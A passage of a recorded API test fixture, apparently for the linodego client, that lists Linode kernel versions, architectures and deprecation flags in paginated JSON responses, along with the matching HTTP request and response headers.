"2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode60", "label": "3.14.5-x86-linode60", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86-linode59", "label": "3.14.4-x86-linode59", "version": "3.14.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86-linode58", "label": "3.14.1-x86-linode58", "version": "3.14.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86-linode57", "label": "3.13.7-x86-linode57", "version": "3.13.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86-linode56", "label": "3.12.9-x86-linode56", "version": "3.12.9", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86-linode54", "label": "3.11.6-x86-linode54", "version": "3.11.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86-linode55", "label": "3.12.6-x86-linode55", "version": "3.12.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86-linode53", "label": "3.10.3-x86-linode53", "version": "3.10.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86-linode52", "label": "3.9.3-x86-linode52", "version": "3.9.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86-linode51", "label": "3.9.2-x86-linode51", "version": "3.9.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-linode50", "label": "3.8.4-linode50", "version": "3.8.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-linode49", "label": "3.7.10-linode49", "version": "3.7.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-linode48", "label": "3.7.5-linode48", "version": "3.7.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-linode47", "label": "3.6.5-linode47", "version": "3.6.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-linode46", "label": "3.5.3-linode46", "version": "3.5.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-linode45", "label": "3.5.2-linode45", "version": "3.5.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-linode44", "label": "3.4.2-linode44", "version": "3.4.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-linode43", "label": "3.0.18-linode43", "version": "3.0.18", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.10-linode42", "label": "3.1.10-linode42", "version": "3.1.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.17-linode41", "label": "3.0.17-linode41", "version": "3.0.17", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-linode40", "label": "3.2.1-linode40", "version": "3.2.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-linode39", "label": "3.1.0-linode39", "version": "3.1.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode38", "label": "3.0.4-linode38", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": 